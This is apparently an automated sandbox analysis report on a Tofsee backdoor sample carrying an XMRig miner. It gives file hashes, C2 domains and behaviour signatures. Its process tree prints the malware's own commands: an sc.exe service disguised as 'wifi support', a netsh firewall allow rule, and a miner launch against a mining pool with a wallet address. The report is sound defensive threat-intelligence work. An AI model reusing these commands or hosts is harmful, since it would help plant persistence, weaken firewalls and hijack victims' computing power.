Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-12-2022 23:08

General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    2ac1468184da62b79a042453ba886783

  • SHA1

    ff899e91ff35e73ad05bb321ce01a77e6f1f00a1

  • SHA256

    9c7812d825974b02bb6ed49097d75c7f9e82f67bbe35f595f6d3df23cff07d38

  • SHA512

    a92788df659ff40c0338ea062e478224902389fced7fde946ef70ae1770ef2c26c6aae4231ac41905935f249351fe122e93ac276c957b4e61fe38bd52bbcd838

  • SSDEEP

    3072:f2XcK/YLMAHSbRS00/InRJpBHRytfAJ0eTjJJfLszeAeHOu40zwUzQRKF+:ubYLMA100sgfcDXgzJju40M2b

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pcshrhrd\
      2⤵
        PID:4980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\csyfkwap.exe" C:\Windows\SysWOW64\pcshrhrd\
        2⤵
          PID:404
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pcshrhrd binPath= "C:\Windows\SysWOW64\pcshrhrd\csyfkwap.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pcshrhrd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pcshrhrd
          2⤵
          • Launches sc.exe
          PID:1440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2924
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2376 -s 1044
          2⤵
          • Program crash
          PID:2648
      • C:\Windows\SysWOW64\pcshrhrd\csyfkwap.exe
        C:\Windows\SysWOW64\pcshrhrd\csyfkwap.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2280
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4796
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5100 -s 532
          2⤵
          • Program crash
          PID:2576
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2376 -ip 2376
        1⤵
          PID:3760
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5100 -ip 5100
          1⤵
            PID:4624

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\csyfkwap.exe

            Filesize

            12.9MB

            MD5

            154ae45409d4e8dec474e74c9b4cc61f

            SHA1

            b61cbe048801c1146f4afb4c510c35944ee097c7

            SHA256

            c5ed799dd037cc60716fd68b2b9303e5c28931e03b504f343c51e4962a68328a

            SHA512

            a22631aea0a1771d997150c33a17cc52b79ba3e31abdcf1fe38f74fb0e19543fb2666670759365430b9bde009175761fd36f539583fdd257dfe822660ef44c1d

          • C:\Windows\SysWOW64\pcshrhrd\csyfkwap.exe

            Filesize

            12.9MB

            MD5

            154ae45409d4e8dec474e74c9b4cc61f

            SHA1

            b61cbe048801c1146f4afb4c510c35944ee097c7

            SHA256

            c5ed799dd037cc60716fd68b2b9303e5c28931e03b504f343c51e4962a68328a

            SHA512

            a22631aea0a1771d997150c33a17cc52b79ba3e31abdcf1fe38f74fb0e19543fb2666670759365430b9bde009175761fd36f539583fdd257dfe822660ef44c1d

          • memory/2280-146-0x00000000008B0000-0x00000000008C5000-memory.dmp

            Filesize

            84KB

          • memory/2280-151-0x00000000008B0000-0x00000000008C5000-memory.dmp

            Filesize

            84KB

          • memory/2280-168-0x00000000029E0000-0x00000000029E7000-memory.dmp

            Filesize

            28KB

          • memory/2280-162-0x00000000029D0000-0x00000000029D5000-memory.dmp

            Filesize

            20KB

          • memory/2280-165-0x0000000007440000-0x000000000784B000-memory.dmp

            Filesize

            4.0MB

          • memory/2280-159-0x0000000001BF0000-0x0000000001C00000-memory.dmp

            Filesize

            64KB

          • memory/2280-156-0x0000000001BE0000-0x0000000001BE6000-memory.dmp

            Filesize

            24KB

          • memory/2280-153-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2280-152-0x00000000008B0000-0x00000000008C5000-memory.dmp

            Filesize

            84KB

          • memory/2376-143-0x0000000000773000-0x0000000000784000-memory.dmp

            Filesize

            68KB

          • memory/2376-132-0x0000000000773000-0x0000000000784000-memory.dmp

            Filesize

            68KB

          • memory/2376-144-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/2376-133-0x00000000006D0000-0x00000000006E3000-memory.dmp

            Filesize

            76KB

          • memory/2376-134-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/4796-172-0x0000000000670000-0x0000000000761000-memory.dmp

            Filesize

            964KB

          • memory/4796-177-0x0000000000670000-0x0000000000761000-memory.dmp

            Filesize

            964KB

          • memory/5100-150-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/5100-149-0x000000000047E000-0x000000000048E000-memory.dmp

            Filesize

            64KB